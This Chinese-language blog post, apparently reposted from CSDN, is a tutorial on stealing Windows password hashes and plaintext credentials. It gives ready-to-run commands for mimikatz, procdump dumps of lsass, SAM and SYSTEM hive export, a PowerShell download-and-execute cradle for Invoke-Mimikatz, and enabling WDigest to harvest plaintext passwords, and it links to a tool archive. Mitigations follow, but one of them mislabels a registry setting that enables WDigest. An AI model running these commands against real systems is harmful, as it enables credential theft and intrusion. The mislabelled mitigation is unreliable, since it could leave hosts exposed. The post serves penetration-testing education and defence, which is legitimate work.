Windows系统密码抓取与防护

Windows系统密码抓取与防护

单机密码抓取与防范

LM Hash 和NTLM Hash

LM Hash(DES加密) 默认禁用,一般攻击者抓取的LM Hash值为aad3b435b51404eeaad3b435b51404ee 表示LM Hash为空值或被禁用
NTLM Hash(MD4加密) 真正是用户密码的哈希值
Windows操作系统中的密码一般由两部分组成:
一部分为LM Hash,另一部分为NTLM Hash。在Windows中,Hash的结构通常如下:
Username:RID:LM-Hash:NT-Hash

(1) GetPass
https://bbs.pediy.com/thread-163383.htm

在这里插入图片描述

(2) PwDump7
下载地址:
https://www.openwall.com/passwords/windows-pwdump
https://www.tarasco.org/security/pwdump_7/

Pwdump7可以在CMD下提取出系统中的用户的密码hash (包括LM和NTLM),
需要系统权限,“骨灰”级黑客玩家可能听说过这个玩具。
通过Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密码,
对进一步渗透是有很大帮助的。

工具使用很简单,只需在命令行环境中运行Pwdump7程序,
即可得到当前系统中各个用户的密码Hash (包括LM和NTLM):

在这里插入图片描述

(3) Mimikatz

能够直接读取Windows操作系统的明文密码
最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码
登陆系统时输入密码之后,密码便会储存在lsass内存中, 而 mimikatz 正是通过对lsass获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统

注:但是在安装了KB2871997补丁或者系统版本大于win10或windows server 2012时,默认在内存缓存中禁止保存明文密码,
这样利用mimikatz就不能从内存中读出明文密码了,但可以通过修改注册表的方式抓取明文

privilege::debug      // 提升至debug权限
sekurlsa::logonpasswords       // 抓取密码

在这里插入图片描述

(4) Procdump
Procdump是微软官方发布的工具,所以杀软不会拦截,其可以用来将
目标lsass文件导出
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
先用在目标机器上传微软的工具Procdump,导出其lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

在这里插入图片描述

执行mimikatz导出lsass.dmp里面的密码和hash
sekurlsa::minidump .\lsass.dmp // 将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full // 获取密码

在这里插入图片描述

(5) 通过SAM和System文件抓取密码
先利用注册表命令将目标机的sam或system文件导出,需要管理员权限:
reg save hklm\sam sam.hive
reg save hklm\system system.hive

在这里插入图片描述

然后,将目标机上的sam.hive和system.hive下载到本地,
利用mimikatz读取sam和system文件获取NTLM Hash
(保证下载的文件和mimikatz在相同的目录下)
lsadump::sam /sam:sam.hive /system:system.hive

在这里插入图片描述

也可以直接使用mimikatz读取本地SAM文件,获得密码Hash:
privilege::debug
token::elevate
lsadump::sam

在这里插入图片描述

(6)Powershell脚本
使用powershell脚本加载mimikatz模块获取密码,该脚本位于
powersploit后渗透框架中
下载地址;
https://github.com/PowerShellMafia/PowerSploit
通过在目标机上远程下载执行该powershell脚本即可获取密码,需要管理员权限

脚本代码如下:

powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\Users\Administrator\Desktop\Procdump\ProcdumpInvoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

在这里插入图片描述

(7) Nishang的Get-PassHashes模块
以管理员身份打开Powershell环境
Import-Module .\Get-PassHashes.ps1
执行Get-PassHashes.ps1	导出散列值

在这里插入图片描述

(8) 单机密码抓取的防范方法

微软为了防止用户的明文密码在内存中泄露,发布了KB2871997补丁,
关闭了Wdigest功能。
Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存
中获取明文密码。Windows Server2012以下版本,
如果安装了KB2871997补丁,攻击者同样无法获取明文密码
在命令行环境开启或关闭Wdigest Auth,有如下两种方法

使用 red add命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f // 开启Wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f // 关闭Wdigest Auth

攻击方法:需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令

防范黑客抓取明文密码和散列值

(1) 设置全局安全组
Server2012新增了一个全局安全组,只需要将用户加入到组中,
就无法使用mimikatz等工具抓取明文密码和散列值了

在这里插入图片描述

(2)安装KB2871997补丁

安装此补丁能够使本地账号不再被远程接入,但是系统默认的本地管理员账号Administrator这个SID为500的用户例外,即使将用户改名,但是SID任然是500,攻击者任然可以通过横向攻击方法获得内网中其他机器的控制权。

(3) 修改注册表键值禁止内存中存储明文密码

WDigest协议,能够将windows明文密码储存在内存中,方便用户登录本地计算机
命令行环境开启或关闭Wdigest Auth,有如下两种方法
方法(1): reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

方法(2): reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential 查询更改

在这里插入图片描述

(4) 防御mimikatz攻击(限制Debug权限)

mimikatz在抓取散列值或者明文密码时需要使用Debug权限,因为mimikatz需要和lsass进程进行交互。将拥有Debug权限的本地管理员从
Administrator组中删除。

工具链接
链接:https://pan.baidu.com/s/1hvr8KTIl6Zx8QJswkl-b8Q
提取码:dxjp

Guess you like

Origin blog.csdn.net/qq_43590351/article/details/120227351